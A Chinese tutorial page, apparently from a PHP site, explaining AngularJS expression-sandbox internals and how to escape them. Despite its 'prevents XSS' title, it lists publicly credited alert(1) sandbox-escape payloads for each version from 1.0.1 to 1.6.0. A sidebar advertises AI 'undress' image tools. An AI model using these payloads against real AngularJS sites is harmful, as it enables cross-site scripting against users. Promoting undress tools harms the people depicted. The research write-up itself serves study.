search
HomeWeb Front-endJS TutorialHow AngularJs prevents XSS attacks

How AngularJs prevents XSS attacks

Apr 27, 2018 pm 02:07 PM
angularjsjavascriptattack

这次给大家带来AngularJs如何防止XSS攻击,AngularJs防止XSS攻击的注意事项有哪些,下面就是实战案例,一起来看一下。

概述

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

前情提要

angularJs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularJs会计计算并输出结果,我们可以在里面输入JS代码,并且一些语句还能得到执行,这使得我们的XSS有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。

沙箱检验

angularJs会对表达式进行重写,并过滤计算输出,比如我们输入

{{1 + 1}}

在JS中会被转换成

"use strict";
var fn = function(s, l, a, i) {
 return plus(1, 1);
};
return fn;

return fn;这里的返回会被angualrJs执行,angularJs改写这个方法后转换是这样的

"use strict";
var fn = function(s, l, a, i) {
 var v0, v1, v2, v3, v4 = l && ('constructor' in l),
 v5;
 if (!(v4)) {
 if (s) {
 v3 = s.constructor;
 }
 } else {
 v3 = l.constructor;
 }
 ensureSafeObject(v3, text);
 if (v3 != null) {
 v2 = ensureSafeObject(v3.constructor, text);
 } else {
 v2 = undefined;
 }
 if (v2 != null) {
 ensureSafeFunction(v2, text);
 v5 = 'alert\u00281\u0029';
 ensureSafeObject(v3, text);
 v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
 } else {
 v1 = undefined;
 }
 if (v1 != null) {
 ensureSafeFunction(v1, text);
 v0 = ensureSafeObject(v1(), text);
 } else {
 v0 = undefined;
 }
 return v0;
};
return fn;

angularJs会检查每一个输入的参数,ensureSafeObject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。

如何逃逸

怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularJs不支持函数输入,我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞,fromCharCode,则charCode, charAt,由于没有重写这些方法,通过改变本地的js函数,我可以在angularJs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode 函数进行覆盖,当在本页面内执行时,比如:

onload=function(){
document.write(String.fromCharCode(97));//会弹出 /Backdoored/ 
}

还可以这样

'a'.constructor.prototype.charCodeAt=[].concat

当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出,

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));//找的就是encodeEntities   
out('"');
}

具体的encodeEntities代码如下:

function encodeEntities(value) {
return value.
 replace(/&/g, '&').
 replace(SURROGATE_PAIR_REGEXP, function(value) {
 var hi = value.charCodeAt(0);
 var low = value.charCodeAt(1);
 return '' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
 }).
 replace(NON_ALPHANUMERIC_REGEXP, function(value) {
 return '' + value.charCodeAt(0) + ';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出  }).
replace(/, '/g, '>');
}

具体执行

//这是输入代码 
{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=""')+''
}}
//这是被覆盖影响的代码  
"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影响的
 if (!(v6)) {
  if (s) {
   v5 = s.x = "";//被影响的
  }
 } else {
  v5 = l.x = "";//被影响的
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影响的
 v3 = v4 ? l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = "";//被影响的
  }
 } else {
  v2 = l.x = "";//被影响的
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = "", text);//被影响的
  v0 = v3.x = "" = v1;//被影响的
 }
 return v0;
};
return fn;
{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=alert(1)')+'' //注入了alert(1) 
}}
"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
 if (!(v6)) {
  if (s) {
   v5 = s.x = alert(1);
  }
 } else {
  v5 = l.x = alert(1);
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
 v3 = v4 ? l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = alert(1);
  }
 } else {
  v2 = l.x = alert(1);
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = alert(1), text);
  v0 = v3.x = alert(1) = v1;
 }
 return v0;
};
return fn;

下面附上一些代码,可以直接结合angularJs验证

不同版本的实现代码以及发现者:

1.0.1 - 1.1.5    Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1     Jan Horn (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5    Gareth Heyes (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'proto'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18    Jan Horn (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.proto,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23    Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0    Gábor Molnár (Google)

{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}

1.3.1 - 1.3.2    Gareth Heyes (PortSwigger)

{{
{}[{toString:[].join,length:1,0:'proto'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf; 
$eval('x=alert(1)//'); 
}}

1.3.3 - 1.3.18    Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'proto'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}

1.3.19   Gareth Heyes (PortSwigger)

{{
'a'[{toString:false,valueOf:[].join,length:1,0:'proto'}].charAt=[].join; 
$eval('x=alert(1)//'); 
}}

1.3.20    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8  Ian Hickey

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

1.5.9 - 1.5.11   Jan Horn (Google)

{{
 c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
 c.$apply=$apply;c.$eval=b;op=$root.$$phase;
 $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
 C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
 B=C(b,c,b);$evalAsync("
 astNode=pop();astNode.type='UnaryExpression';
 astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
 astNode.argument={type:'Identifier',name:'foo'};
 ");
 m1=B($$asyncQueue.pop().expression,null,$root);
 m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
 $eval('a(b.c)');[].push.apply=a;
}}

= 1.6.0 Mario Heiderich(Cure53)

{{constructor.constructor('alert(1)')()}}

相信看了本文案例你已经掌握了方法,更多精彩请关注php中文网其它相关文章!

推荐阅读:

jQuery中使用for循环var与使用let有哪些区别

JS调用模式与this关键字使用详解

The above is the detailed content of How AngularJs prevents XSS attacks. For more information, please follow other related articles on the PHP Chinese website!

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
JavaScript and the Web: Core Functionality and Use CasesJavaScript and the Web: Core Functionality and Use CasesApr 18, 2025 am 12:19 AM

The main uses of JavaScript in web development include client interaction, form verification and asynchronous communication. 1) Dynamic content update and user interaction through DOM operations; 2) Client verification is carried out before the user submits data to improve the user experience; 3) Refreshless communication with the server is achieved through AJAX technology.

Understanding the JavaScript Engine: Implementation DetailsUnderstanding the JavaScript Engine: Implementation DetailsApr 17, 2025 am 12:05 AM

Understanding how JavaScript engine works internally is important to developers because it helps write more efficient code and understand performance bottlenecks and optimization strategies. 1) The engine's workflow includes three stages: parsing, compiling and execution; 2) During the execution process, the engine will perform dynamic optimization, such as inline cache and hidden classes; 3) Best practices include avoiding global variables, optimizing loops, using const and lets, and avoiding excessive use of closures.

Python vs. JavaScript: The Learning Curve and Ease of UsePython vs. JavaScript: The Learning Curve and Ease of UseApr 16, 2025 am 12:12 AM

Python is more suitable for beginners, with a smooth learning curve and concise syntax; JavaScript is suitable for front-end development, with a steep learning curve and flexible syntax. 1. Python syntax is intuitive and suitable for data science and back-end development. 2. JavaScript is flexible and widely used in front-end and server-side programming.

Python vs. JavaScript: Community, Libraries, and ResourcesPython vs. JavaScript: Community, Libraries, and ResourcesApr 15, 2025 am 12:16 AM

Python and JavaScript have their own advantages and disadvantages in terms of community, libraries and resources. 1) The Python community is friendly and suitable for beginners, but the front-end development resources are not as rich as JavaScript. 2) Python is powerful in data science and machine learning libraries, while JavaScript is better in front-end development libraries and frameworks. 3) Both have rich learning resources, but Python is suitable for starting with official documents, while JavaScript is better with MDNWebDocs. The choice should be based on project needs and personal interests.

From C/C   to JavaScript: How It All WorksFrom C/C to JavaScript: How It All WorksApr 14, 2025 am 12:05 AM

The shift from C/C to JavaScript requires adapting to dynamic typing, garbage collection and asynchronous programming. 1) C/C is a statically typed language that requires manual memory management, while JavaScript is dynamically typed and garbage collection is automatically processed. 2) C/C needs to be compiled into machine code, while JavaScript is an interpreted language. 3) JavaScript introduces concepts such as closures, prototype chains and Promise, which enhances flexibility and asynchronous programming capabilities.

JavaScript Engines: Comparing ImplementationsJavaScript Engines: Comparing ImplementationsApr 13, 2025 am 12:05 AM

Different JavaScript engines have different effects when parsing and executing JavaScript code, because the implementation principles and optimization strategies of each engine differ. 1. Lexical analysis: convert source code into lexical unit. 2. Grammar analysis: Generate an abstract syntax tree. 3. Optimization and compilation: Generate machine code through the JIT compiler. 4. Execute: Run the machine code. V8 engine optimizes through instant compilation and hidden class, SpiderMonkey uses a type inference system, resulting in different performance performance on the same code.

Beyond the Browser: JavaScript in the Real WorldBeyond the Browser: JavaScript in the Real WorldApr 12, 2025 am 12:06 AM

JavaScript's applications in the real world include server-side programming, mobile application development and Internet of Things control: 1. Server-side programming is realized through Node.js, suitable for high concurrent request processing. 2. Mobile application development is carried out through ReactNative and supports cross-platform deployment. 3. Used for IoT device control through Johnny-Five library, suitable for hardware interaction.

Building a Multi-Tenant SaaS Application with Next.js (Backend Integration)Building a Multi-Tenant SaaS Application with Next.js (Backend Integration)Apr 11, 2025 am 08:23 AM

I built a functional multi-tenant SaaS application (an EdTech app) with your everyday tech tool and you can do the same. First, what’s a multi-tenant SaaS application? Multi-tenant SaaS applications let you serve multiple customers from a sing

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
Will R.E.P.O. Have Crossplay?
1 months agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.

PhpStorm Mac version

PhpStorm Mac version

The latest (2018.2.1) professional PHP integrated development tool

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

VSCode Windows 64-bit Download

VSCode Windows 64-bit Download

A free and powerful IDE editor launched by Microsoft